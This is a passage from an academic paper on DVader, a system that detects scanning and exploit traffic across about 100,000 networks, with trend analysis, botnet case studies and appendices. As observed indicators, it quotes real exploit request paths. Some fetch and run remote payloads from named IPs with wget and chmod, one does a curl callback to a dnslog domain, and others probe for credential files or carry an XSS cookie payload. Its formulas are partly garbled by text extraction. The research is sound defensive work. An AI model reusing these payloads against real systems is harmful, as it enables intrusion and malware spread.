request is initiated by a malicious IP address, iii) We observe



Uf,ig’H + U]‘\g,ig’ML > 4 for the same day, the previous, or
the next day, iv) A relatively bigger spike is detected when
the feature value was zero in the prior days, v) The request is
directed at sensitive target industries such as healthcare.

2) Emerging Scanning Activity: DVader detected 350,000
unique paths within the emerging scanning activity. We
sampled 5,000 unique paths that correspond to 30% of all
detected emerging scanning requests to reduce the manual
labor needed to investigate emerging scanning detections.
Our ML model flagged 1,233 (25%) of the sampled
paths as emerging patterns, reflecting its training to detect
signature variations and commands used in payloads. For
example, DVader detected the following path, attempting
to exploit a high severity RCE vulnerability (CVE-2023-
26609), as an emerging pattern while the signature matching
missed it: /cgi-bin/mft/wireless_mft?ap=root;
rm-rfx;cd/tmp;gethttp://104.168.5.4/abus.
sh; chmod777abus.sh; ./abus.sh.

a) Detecting Unseen Threats: We curated a separate
signature database and matched these signatures with the rest
of the emerging scanning paths we sampled. This database
contains 1,005 known high-level threat signatures for vul-
nerabilities published before 2019 and does not have any
crossover with the original signature database we used for our
longitudinal study. We found that 193 (5.1%) of the unique
detected patterns matched a signature, corresponding to 16
distinct vulnerability signatures. This shows that DVader can
detect unseen (not in our signature DB) scanning activity.

To further investigate the unseen pattern detection
capabilities, we sampled 50 unique paths that correspond
to 9.6% of our detections for manual analysis. We observe
some of these paths among the botnet-initiated emerging
scanning identified in Section V-B. Additionally, all
50 of these paths may be linked to various scanning
activities. These detections contain patterns linked to known
CVEs such as /cgi-bin/popen.cgi?command=id
(CVE-2022-36553), /wsman (CVE-2021-38647),
/autodiscover/autodiscover.xml (CVE-2021-
26855), /GponForm/diag_Form?images (CVE-2018-
10561), /ctrlt/DeviceUpgrade_1 (CVE-2017-17215),
and /hnapl (CVE-2015-2051). We observe requests that
are initiated by malicious IP addresses such as requests
with the pattern /api/account/prepaid-balance.

Our detections contain some scanning paths that
may be probing for information disclosure such as
/.aws/credentials, /.git/config, /metrics,

/niceports, /Trinity.txt.bak, and /version.
However, even though these detections show strong evidence
for scanning activity since they remained after our filters, we
could not confidently categorize these as benign or malicious
due to the lack of supporting evidence.

V. ANALYSIS OF THE RESULTS

In this section, we aim to present the characteristics of
scanning traffic by discussing the general trends.

CVE or Disclosure Year  Percentage  Vulnerability

CVE-2023-1389 36.3504 Command Injection in TP-Link Archer AX21 (r)

- 23.1426 Path Traversal

2020 19.5111 RCE in Zyxel [42] (r)

CVE-2019-15980 2.9780 Path Traversal in Cisco Data Center Network Manager (w)
CVE-2019-9082 2.4420 RCE in ThinkPHP (w)

CVE-2022-47945 2.3814 Path Traversal in ThinkPHP (w)

CVE-2021-44228
2018

CVE-2021-34473
CVE-2020-25506

2.2701
1.2566
1.0160
0.9225

RCE in Apache Log4j (w)

RCE in Netgear DGN1000 [43] (r)

RCE in Microsoft Exchange Server (c)

RCE in D-Link (r)

TABLE III

POPULARLY TARGETED VULNERABILITIES. ROUTER (R),
COLLABORATION TOOL (C), AND WEB FRAMEWORK (W).

A. Trends in Scanning Traffic

1) Targeted Vulnerabilities: In Table III, we show the top
10 most popularly targeted high severity vulnerabilities along
with the CVEs or the disclosure years, the percentages among
all detected confident scanning activity, the type of vulner-
ability, and the vulnerable technology stack. Our findings
indicate that vulnerabilities commonly targeted are those with
a higher probability of affecting a wide range of targets due to
their widespread usage. Among all detected confident scanning
traffic, 58% of requests probed for router vulnerabilities, 10%
targeted Web application development and testing frameworks,
23% targeted generic path traversal (e.g., /etc/passwd) on
various Web applications and devices, 1% targeted collabora-
tion tools (e.g., email and calendar).

We observe spikes in requests targeting CVE-2023-1389,
a command injection vulnerability in TP-Link routers. We
record the biggest spike on Apr 19, 2024 which we label in
Figure 7 where 1.3 million exploiting requests targeted 20,400
networks mainly in education and high-tech sectors. Router
attacks have been exceedingly popular among Advanced Per-
sistent Threats (APTs). In recent attacks, Russian hackers
attempted to hijack Ubiquiti EdgeRouters [40] and Chinese
botnet SOHO has targeted Cisco and NetGear routers [41].
We detected that other routers such as Zyxel, D-Link, Dasan
GPON, Wavlink, TP-Link, and Netis routers have also been
among the destinations for scanning and exploiting attacks.
Our results show that the highest volume of confident scanning
requests targeted vulnerabilities disclosed in 2023 (37%), 2020
(23%), and 2019 (7%).

a) Evolution of Targeted Vulnerability Distribution: Our
longitudinal study allows us to observe the evolution of
the vulnerabilities scanned or exploited by threat actors. By
tracking these changes over time, we gain critical insights into
the dynamic nature of threats and how malicious actors adapt
their strategies. In Figure 7, we show the change in the targeted
vulnerabilities in confident and potential scanning traffic over
time. On Sep 26, 2023, we observe the maximum spike in
the number of total detected requests as 2.5 million. The
biggest contributor to this spike is scanning activity targeting
CVE-2022-30023 with 84.4%. We discuss case studies of
major spikes in Section VI. Our findings indicate that the
number of requests targeting more recently disclosed vulner-
abilities tends to increase over time, while those targeting
older vulnerabilities begin to diminish. This trend suggests that
attackers are actively monitoring vulnerability disclosures and
integrating the newest vulnerabilities into their attack vectors.



As illustrated in Figure 7, the lines representing 2019-2022
gradually phase out, whereas the line for 2023 becomes more
prominent toward the end of 2023. The line for 2024 becomes
more visible around March 2024.

However, we also observe some bursts of attacks tar-
geting older vulnerabilities. For example, in July 2023,
we detected 1.27 million requests attempting to exploit
Zyxel router vulnerabilities [42] disclosed in 2020. This
indicates that threat actors are trying to benefit from
the fact that some old vulnerabilities may still be un-
patched. We observed that generic path traversal and
generic script injection (/<script>alert (document.
cookie) </script>) vulnerability scanning are persistent
throughout our study. In Figure 7, we omit those types of
scanning for better visibility and note that they account for
46% and 4.3% respectively.

b) Targeted Vulnerability Range: We examine the num-
ber of unique signature hits logged by each network. Specif-
ically, for each network, we compute the daily targeted vul-
nerability range, USY = UYH + UMY, Our findings
show that for all monitored networks max(Uj\q,ig ) = 170
and min(US") = 1. We observe that 98.9% of the time
during our longitudinal study 1 > Uj\g,ig > 8. To get an
insight into the total targeted vulnerability range, we also
plot the total number of unique signature hits log%ed by
each network for the whole duration of our study, >, U}f,zg.
We find that maxE(Uf,ig) = 88, mmz(U]f,ig) = 1 and
medz(Uffig ) = 16. We observe that for 90% of the networks
mazs~(Uy'?) = 25 and mins~(Uy'?) = 10. We show daily
and total targeted vulnerability range distribution graphs in
Appendix F.

2) Targeted Organizations: Threat actors target various
sectors for different reasons, often driven by the perceived
value of the data or assets, the potential for exploitation, and
the likelihood of weaker defenses.

a) Industry: Our results reveal that the most prominently
targeted industries, based on the percentages they represent
among the detected scanning activity traffic, are education
(22.9%), high-tech (18.6%), and healthcare (8.3%). Educa-
tional institutions store large amounts of personal data and
allow many external connections, making malicious activity
harder to detect. High-tech companies hold valuable intellec-
tual property and their complex systems may have vulnerabil-
ities. Healthcare providers maintain sensitive medical records,
valuable to cybercriminals, and face severe risks from ran-
somware attacks disrupting critical services. In Appendix G,
we share our results for the target industries.

b) Location: Our analysis of the geographical distribu-
tion of target organizations has revealed that certain countries
are more frequently targeted by threat actors. The majority of
the monitored networks are in the United States followed by
the Western European countries. We compare the percentage
of scanning activity targeting each country with their repre-
sentation among monitored networks. To assess the statistical
significance of these differences, we perform a Z-test and cal-

culate p-values for each country. Among the most frequently
targeted locations, Australia, Taiwan, India, and Brazil stand
out, with p-values indicating that their observed scanning
activity is significantly higher than expected. We analyzed
the targeted industry distribution in these countries and found
notable results. 91% of the traffic directed at Taiwan is aimed
at wholesale and retail organizations. Taiwan is a major hub
for manufacturing and exports, particularly in electronics and
technology products. Attackers may be targeting this sector
to disrupt supply chains. For India, 51% of the traffic was
directed at high-tech organizations likely due to the recent
growth of the sector [44].

B. Botnet Traffic

Among our confident scanning activity detections, we ob-
served lots of malware-initiated scanning. To study the botnet
traffic, we first extract the IP addresses that initiated requests
containing delivery IPs, as these are likely part of botnet traffic.
We also extract the delivery IPs in these URLs. Combining
these two sets of IPs, we obtain a set of 42,552 unique highly
likely malicious IPs. Then, we extract the detections related
to these IPs, whether as the initiator or the delivery IP.

Through this analysis, we attribute 59.7% (32.2 million)
of confident, 0.08% (110,000) of potential, and 1.5% (1.9
million) of emerging scanning detections to botnet traffic. We
find that botnets attempted to attack 33,477 networks and 2.7
million IP addresses utilizing 81 unique vulnerabilities (65
high severity and 16 medium or low severity). We observe
that even though CVE-2024-21893 [45] is a recently published
CVE and was not among the top vulnerabilities shown in
Figure III for all detections, it made it to the list of top
utilized vulnerabilities by botnets. This indicates the rapid
pace at which attackers adapt to new vulnerabilities and
utilize them to spread botnets. Our results show that the most
popular industries for botnets are education (21.2%), high-tech
(19%), and healthcare (8.5%) similar to the overall detections.
However, the top two organizations that account for 5% (4.1%
and 0.9%) of all detections are in the healthcare sector. This
observation is in line with the recent botnet attacks directed at
the healthcare sector such as Blackcat ransomware disrupting
the services of Change Healthcare [46] and KillNet launching
DDoS attacks against a US healthcare organization [47]. The
most popular botnet target locations, as indicated by Z-tests
showing statistically significant proportion differences, are
Australia, Taiwan, Turkey, Italy, and Thailand. Among these
Turkey and Italy stand out as they are not among the popular
locations for overall detections. Turkey was previously shown
to be a popular Mirai botnet target in 2017 by Antonakakis et
al. [2] attributing it to market penetration.

VI. CASE STUDIES
A. MIRAI Botnet

Our detections reveal attempts to exploit a Zyxel RCE
vulnerability [42] that stems from insufficient input validation
in specific versions of the Zyxel router’s /bin/zhttpd/
component. This vulnerability is being leveraged to download
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Fig. 8. Unique targets in exploit attempts for [42].

a malicious file, which subsequently replicates itself to further
spread the Mirai botnet. DVader flagged unusual spikes on
July 19, 22, and 24, 2023. Specifically on July 24, DVader
flagged spikes in all features (except U f/g ) where we recorded
1.27 million requests directed at 791,000 unique IP addresses
belonging to 12,400 unique targets. As labeled in Figure 7,
these requests amount to 87.4% of the scanning activity
observed on July 24. We detected that Uy'9 = 1 and
U]*\g,ig ML _ Hence, this is an example of multi-destination
single-vulnerability scanning activity. In Figure 8, we show
the number of unique targets in our detections between
July 17, 2023 and July 27, 2023 with the following exploit
pattern: /bin/zhttpd/cd/tmp; rm-rfx; wgethttp:
//<malicious_IP>/mips;chmod777mips; ./
mipszyxel.selfrep;. We discovered multiple malicious
IP addresses embedded in the exploit requests.

Mirai botnets are continuously evolving and incorporating
new vulnerabilities [48]-[50] into their repertoire for exploita-
tion. Given the constant announcements of new vulnerabilities,
it is particularly challenging to perform detections promptly.
However, we show that by monitoring scanning activities
across multiple networks, we can potentially detect new scan-
ning patterns rapidly.

B. Discovering Unseen Malicious URLs

DVader identified instances of exploiting requests in which
attackers included previously unseen URLs for payload de-
livery or C2 operations. We denote these URLs as “unseen”
because, at the time of detection, they had not been identified

as malicious by any VT security vendors. This diminishes the
likelihood of subsequent delivery URLs being intercepted by
security vendors. Since these delivery URLs are novel to the
vendors, it is imperative to identify and obstruct such initial
requests, as vendors are unlikely to impede subsequent ones.

On Jan. 12, 2024, 11:23:49 UTC, we detected exploiting
requests for [42] by a variant of the Mirai botnet with
the following malicious URL in its payload: 103.245.
236.188/skyljne.mips. Whereas, the first submission
date for this malicious URL on VT was Jan. 12, 2024,
12:10:36 UTC which is almost an hour later than our detection
time. This early detection can be achieved by configuring
DVader to run close to real-time with a one-hour sliding
window. Between our detection time and VT submission time,
we recorded 6619 exploiting requests. On Jan. 18, 2024,
07:31:07 UTC, we detected exploiting requests for multiple
Ivanti vulnerabilities [51] with the following malicious URL
in the payload: 45.130.22.219/ivanti. js. These re-
quests had high confidence levels in the emerging scanning
detections, making them easily identifiable to a manual in-
spector. Spemﬁcal?/ when unique paths in the detections are
ranked by maz(Uy'®™") and max(U]‘\g,Zg MLy "the request path
containing this mahclous URL ranks 29th. The first date of
submission on VT for this malicious URL was Jan. 30, 2024,
15:21:57 UTC which is over 12 days later than our detection
time. Between our detection time and VT submission time,
we recorded 2258 exploiting requests. In both instances, we
observed that our detection of the scanning requests preceded
the detection of the malicious delivery URLs (by VT) by a
margin. This indicates the effectiveness of our detection logic
in identifying emerging threats promptly.

C. Ivanti Connect Vulnerabilities

On Jan. 14, 2024, DVader flagged 26,634 requests
launched to exploit the following Ivanti Connect Secure
Gateway vulnerabilities disclosed on Jan 10, 2024: CVE-
2023-46805 [52] (authentication bypass) and CVE-2024-
21887 [53] (command injection). We observed spikes in
features Rp, Rp N, Ung , U {Dﬁ\,, UY, and Uy, 19 indicating
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Fig. 9. Unique targets in exploit attempts for [52], [53].

that this case is multi-destination multi-vulnerability scanning
activity. Specifically, we flagged a spike where 8,110 unique
targets were destinations of exploiting URLs with various
crafted paths. In Figure 9, we show the number of unique
targets in exploit attempts for [52], [53] from Jan. 11
to Jan. 21, 2024. Only four days after the initial spike,
DVader detected another spike on Jan. 18 where 16,345
organizations were targeted. We observed the following path
among the detected traffic: /api/v1/totp/license/
keys—-status/;curla0f0b2e6.dnslog.store.
This request was involved in an attempted chained attack
where the threat actors leveraged CVE-2023-46805 and CVE-
2024-21887 to connect to a0f0b2e6.dnslog.store.
Our investigation showed that attackers use this domain to
collect the IP addresses of vulnerable targets to potentially
perform further attacks.

To evaluate the benefits of a multi-network vantage point
compared to monitoring a single network in isolation, we
analyze how many networks exhibit detectable spikes when
observed individually. In Appendix J, we present the number
of networks that would show a spike, and thus be detected,
versus those that would not, if evaluated in isolation. For
example, on Jan. 14, only 3 out of 33 networks (9.1%) would
be flagged individually, and on Jan. 18, only 1,853 out of
26,935 networks (6.9%) would be detected. This highlights
the limited visibility of isolated monitoring and the improved
detection potential of a multi-network approach.

VII. DISCUSSION

a) Limitations: Our analysis should be considered along-
side certain limitations. Since DVader’s visibility is limited to
the URL part of an HTTP(S) request, we may miss requests
with payloads residing in other parts of the request. Although
the system we propose in this work overcomes this limitation
by monitoring spikes, we might need further investigation
to identify payloads in such detections. Additionally, due to
the overwhelming volume of the monitored traffic, we are
unable to analyze all potential and emerging scanning activity
detections. Rather, we analyzed subsets of our detections based
on the percentage representations and the confidence level we
attribute to them given their feature and spike knowledge.
Lastly, while implementing strict filters and thresholds in our
detection system should lead to a more accurate analysis of
scanning activity trends, this may cause the system to be
more limited in unseen threat discovery. Implementations of
our methodology by other researchers or institutions can use

less strict feature filter settings to focus on discovering unseen
threats.

VIII. RELATED WORK

a) Scanning Activity: Related work heavily focused on
port scanning [23]-[25] where they did not delve into the
probed vulnerabilities. Previous work studied scanning gen-
erated by botnets and showed IP address space scanning
as a common botnet trait [2], [26], [27]. Unsolicited traffic
observed in darknets has been extensively used to analyze
botnet propagation and exploitation attempts targeting vulner-
abilities [2], [24], [25], [28], [29]. Darknets are limited as they
only receive scanning targeting the entire IPv4 space or a large
enough subset. Unlike the use of network telescopes based
on darknets, Richter et al. analyzed scanning traffic recorded
by the servers of a major content delivery network (CDN),
covering 1,300 networks [30]. However, these works are either
limited to darknet scanning [2], [24], [25], [28], [29], botnet
scanning [2], [26], [27] or small number of networks compared
to our study [30].

b) Anomaly Detection: Previous works extensively stud-
ied behavior analysis and anomaly detection to identify mali-
cious activities in networks. Previous work leveraged graph
based structures for task-specific traffic anomaly detection
and detected malware downloading [18], [19], malware static
resources [20] and malware infrastructures [21]. These meth-
ods require deep packet inspection (DPI) and cannot be
applied to encrypted traffic. Discrete-time Markov Chains have
been used to model user and device behaviors for anomaly
detection [54]-[56]. However, these methods have the main
assumption that the value of the next variable will depend only
on the value of the current variable. This assumption would
fail for our volume-based features.

King et al. [9] proposed a formalized approach for scalable
dynamic link prediction and anomalous edge detection to
detect lateral movement. Bowman et al. [10] abstracted a
computer network to a graph of authenticating entities, and
performed unsupervised graph learning to ultimately detect
malicious authentication events. Kruegel et al. [11] presented
an application-specific system that automatically derives the
parameter profiles to detect attacks against web applications.
Bilge et al. [12] developed a botnet detection system that
distinguishes C2 channels from benign traffic using NetFlow
records such as flow sizes, client access patterns, and temporal
behavior. Milajerdi et al. [6] developed techniques that lever-
age the correlation between suspicious information flows to
detect attacker campaigns. However, these works are typically
either application-specific [11] or designed to detect a subset
of attack methods [9], [10], [12] such as lateral movement
or C2 communication. To the best of our knowledge, we
present the first longitudinal study with a vantage point over
nearly 100,000 networks which allows us to use volume-based
features for detection and analysis of scanning activity.



IX. CONCLUSION

In this paper, we study the scanning and exploiting activity
conducted to uncover and exploit vulnerabilities. We introduce
DVader, a robust, hybrid, multi-network scanning activity de-
tection system that leverages volume-based features, high-level
signatures, and a machine learning model. Using DVader, we
conduct the first large-scale longitudinal analysis of scanning
activity, utilizing a vantage point that enables a comprehensive
study of scanning activity across nearly 100,000 networks,
detecting millions of scanning requests. Using case studies
of notable vulnerabilities and showing that DVader identified
previously unseen malicious URLs, we demonstrate that our
system effectively detects emerging threats in mixed traffic.
We analyze our detections and characterize the scanning
activity presenting insights on the targeted vulnerabilities
and destinations, and botnet behavior. Our work highlights
the importance of active monitoring of networks to detect
anomalies which may help in scanning activity detection.
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APPENDIX A
ETHICS

In this work, we worked on anonymized data and all data
processing happened inside the partner cybersecurity company
where data is securely stored and access is restricted to
authorized personnel only. We did not collect any PII or
other company customer-provided information. We did not
collect HTTP header data. The company’s customers agreed
on the terms of service stating that they are aware of their
request URLs are logged in the cloud for further processing.
By incorporating the detections and findings of this work in
their URL filtering product, the company’s customers received
protection against the threats discussed in this paper.

APPENDIX B
FEATURES AND ACTIVITY TYPES

We summarize the correlation between the likelihood of
observing spikes in features and the scanning activity type
in Table VL.

APPENDIX C
FEATURE IMPORTANCE AND CORRELATIONS

To demonstrate the importance of each feature, we compute
the percentage of observed spikes for each feature within the
detected confident and potential scanning traffic. Note that
since the signature hits feature is a direct indicator, we exclude
it from this evaluation. We show our results in Table ??. Our
results show that all evaluated features individually contribute
at least 10% to the detections, with the exception of Ug’;\?,
which contributes slightly less, around 3%. Additionally, we
observe that feature contributions in potential scanning traffic
mostly mirror those in confident cases, suggesting a high level
of reliability in the detections labeled as potential.

We compute Pearson correlation coefficients for each fea-
ture pair to quantify the strength of linear associations. We
show our results in Table ??. We assess the strength by
the general guidelines [57]. The linear dependency between
the 28 feature pairs are as follows: 21 weak, 5 moderate
and 2 strong correlations. Our results indicate that most of
our features exhibit only weak linear dependencies, meaning
they are largely uncorrelated. This suggests that each feature
captures distinct aspects of the traffic behavior, which can
be valuable for improving the robustness and effectiveness of
detection.

APPENDIX D
SIGNATURE DATABASE

In Table V, we show the severity and the vulnerability dis-
closure year distribution of the signatures in our database. Four
signatures lack a published year. These signatures encompass
broader scanning patterns, such as generic directory traversal
paths like /etc/passwd and /bin/sh or generic script
injection, that cannot be attributed to a specific disclosure year
or a vulnerability.



APPENDIX E
ML MODEL EVALUATION

In Figure 10, we show the ROC curve and the ROC AUC
score for the ML model test set.
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Fig. 10. ML model ROC curve for the test set.

APPENDIX F
TARGETED VULNERABILITY RANGE

In Figure 11, we show the daily targeted vulnerability range,
Uj\q,lg and in Figure 12, we show the total targeted vulnerability
t rrSig
range, >, Uy".
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Fig. 11. Daily targeted vulnerability range, Uf,ig.
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APPENDIX G
TARGET INDUSTRIES

In Table IV, we show the industries of popular scanning
activity targets and their percentage distributions among our
detections.

Target Industry Percentage in Detections

Education 229
High-Tech 18.6
Healthcare 8.3
State and Local Government 7.3
Professional and Legal Services 7.1
Finance 5.8
Wholesale and Retail 5.7
Manufacturing 5.5
Telecommunications 39
Federal Government 2.8
TABLE IV

TARGET INDUSTRIES.

APPENDIX H
SCAN, IDENTIFY, EXPLOIT

DVader detected multiple spikes in the number of total
requests logged by a certain network starting from May 1,
2023, with the path /boaform/admin/formlogin. We
observed the biggest detected spike on May 8, 2023, with
18,800 requests. 9 days after this potential scanning phase
that lasted 7 days, the same network’s FW logged 788 requests
with the path /boaform/formping. This activity, depicted
in Figure 13, may be attributed to attempts at exploiting CVE-
2022-30023, as discussed in Section II-A. This conclusion
is based on the observation that the same destination IP
addresses are involved during both the scanning phase and the
subsequent exploitation phase. This suggests that the threat
actors used scanning to identify vulnerable targets and then
directed exploitation requests specifically to those identified
IP addresses.

I /boaform/admin/formlogin [l /boaform/formping
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Fig. 13. Detections targeting CVE-2022-30023.



Disclosure Year

Severity N/A 2014 2016 2017 2018 2019 2020 2021 2022 2023 2024

High 2 0 1 1 2 250 279 233 199 193 17

Medium 0 0 0 1 4 44 41 69 51 33 1

Low 2 1 0 1 3 1 3 0 0 0 0
TABLE V

THE YEAR AND SEVERITY DISTRIBUTION OF THE SIGNATURES IN OUR
DATABASE. HIGH>7>MEDIUM>4>LOW.
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Fig. 14. Isolation experiment on the case study in Section VI-C.

APPENDIX I
ROBUSTNESS EVALUATION
We show all features (except signature hits) and their
moving thresholds DVader computes during our longitudinal
study in Figures 15, 16, 17, 18, 19, 20, 21 and 22. For
network-based features, Ry and Uﬁm , we show results for

the selected network discussed in Section IV-A in Figures 15
and 18, respectively. For path-based features, we need to
observe a benign path that is commonly used across many
networks. To this end, we picked /en for our evaluation. This
path is typically used to depict the language of a website as
English and is not particularly linked to any known threats.
For path-based features, Rp, Ugrg and UY, we show results
for path /en in Figures 16, 19 and 22, respectively. For both
path- and network-based features, Rp n, Ug?vg and U {Dﬁv, we
show results for /en recorded for the selected network in
Figures 17, 20 and 21, respectively.

APPENDIX J
MULTI-NETWORK BENEFIT OVER ISOLATED NETWORK

To evaluate the benefits of a multi-network vantage point
compared to monitoring a single network (i.e., isolated net-
work), we analyze how many networks exhibit detectable
spikes when observed individually for the Ivanti Connect
Vulnerability case study discussed in Section VI-C. In Fig-
ure 14, we present the number of networks that would show
a spike, and thus be detected, versus those that would not,
if evaluated in isolation. In this experiment, we use the same
DVader configurations as our longitudinal study which are a
7-day moving window and Ny = 3 for the feature, Rp .
Figure 14 shows that the highest percentage of networks

detectable through isolated monitoring on any given day is just
9.1% (3 out of 33 networks on Jan. 14). This result underscores

the limited effectiveness of single-network monitoring and
demonstrates the significant advantage of a multi-network
vantage point for improving detection coverage.



Likelihood of Spike in Feature

Scanning Type Very Likely Likely Unlikely
Single-Destination UHy Ry, Rp, Rp,Nn UR"?, Up" Ug N> UP
Multi-Destination U™, Q"9 U, U, UY Ry, Rp, Rpn -
Single-Vulnerability - . RN, Rp, Rp,N, Uorg UOTg Ug?\‘?, U}I;,Ijv, UN Uf,zg
Multi-Vulnerability ~ Uy’ Ry, Rp. Rp N, UOW UO”’ UI?;?, UL, UN -
TABLE VI
CORRELATION BETWEEN THE EXPECTED SPIKES IN FEATURES AND SCANNING ACTIVITY TYPES.
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